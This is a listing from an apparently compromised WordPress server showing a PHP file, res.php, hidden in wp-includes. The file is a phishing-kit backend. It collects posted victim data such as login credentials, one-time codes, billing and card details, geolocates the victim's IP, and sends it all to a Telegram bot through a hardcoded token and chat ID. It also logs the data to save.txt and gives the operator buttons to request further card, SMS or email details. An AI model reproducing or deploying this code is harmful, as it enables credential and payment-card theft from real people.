Linux hkvL61zh9Vexzf 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 Path : /www/wwwroot/fashion-kingdom.com/wp-includes/includes/ |
Current File : /www/wwwroot/fashion-kingdom.com/wp-includes/includes/res.php |
<?php header("Access-Control-Allow-Origin: *"); $token = "7966744578:AAGV_Re6VrBTDHdGPl_QlLM2kh_-nvmpZc8"; $chatid = "6387693097"; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } $ip = $_SERVER['REMOTE_ADDR']; $ipdat = @json_decode(file_get_contents( "http://www.geoplugin.net/json.gp?ip=" . $ip)); $countryName = $ipdat->geoplugin_countryName; $cityName = $ipdat->geoplugin_city; $region = $ipdat->geoplugin_region; $timeZone = $ipdat->geoplugin_timezone; if(isset($_POST["data"])){ $data = $_POST["data"]; if($data !== null){ $message = ""; $message .= "---|@systembott|---\n"; $message .= "π’ IP : " .$ip. "\n"; $message .= $data; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: ".$countryName."\n"; $message .= "City Name: ". $cityName."\n"; $message .= "Time Zone: ". $timeZone."\n"; $message .= "Region: ". $region."\n"; file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" ); $handle = fopen("save.txt", "a"); fwrite($handle, $message); fclose($handle); } } if(isset($_POST["data2"])){ $data = $_POST["data2"]; $baseUrl = $_POST["baseUrl"]; if($data !== null){ $message = ""; $message .= "---|@systembott|---\n"; $message .= "π’ IP : " .$ip. "\n"; $message .= $data; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: ".$countryName."\n"; $message .= "City Name: ". $cityName."\n"; $message .= "Time Zone: ". $timeZone."\n"; $message .= "Region: ". $region."\n"; $ipaddress = $_SERVER['REMOTE_ADDR']; $buttons = [ [ [ "text" => "π« Invalid User", "url" => $baseUrl."/panel.php?response=invaliduser&ip=".$ipaddress ], [ "text" => "π« Invalid Email/pass", "url" => $baseUrl."/panel.php?response=invalidemailpass&ip=".$ipaddress ], [ "text" => "π« Invalid OTP", "url" => $baseUrl."/panel.php?response=invalidotp&ip=".$ipaddress ], [ "text" => "π« Invalid Ask", "url" => $baseUrl."/panel.php?response=invalidask&ip=".$ipaddress ], ], [ [ "text" => "π§ Email", "url" => $baseUrl."/panel.php?response=email&ip=".$ipaddress ], [ "text" => "π± OTP SMS", "url" => $baseUrl."/panel.php?response=sms&ip=".$ipaddress ], [ "text" => "π€ Billing", "url" => $baseUrl."/panel.php?response=bill&ip=".$ipaddress ], [ "text" => "π§ Card ", "url" => $baseUrl."/panel.php?response=card&ip=".$ipaddress ], [ "text" => "βQuestion", "url" => $baseUrl."/panel.php?response=question&ip=".$ipaddress ], ], [[ "text" => "β Panel Reset", "url" => $baseUrl."/panel.php?response=reset&ip=".$ipaddress ], [ "text" => "β Finish", "url" => $baseUrl."/panel.php?response=done&ip=".$ipaddress ], ] ]; $keyboard = json_encode([ "inline_keyboard" => $buttons ]); $data = http_build_query([ 'text' => $message, 'chat_id' => $chatid, 'reply_markup' => $keyboard ]); $url = "https://api.telegram.org/bot" . $token . "/sendMessage?$data"; file_get_contents($url); $handle = fopen("save.txt", "a"); fwrite($handle, $message); fclose($handle); echo json_encode(["success" => "sent cc"]); } } ?>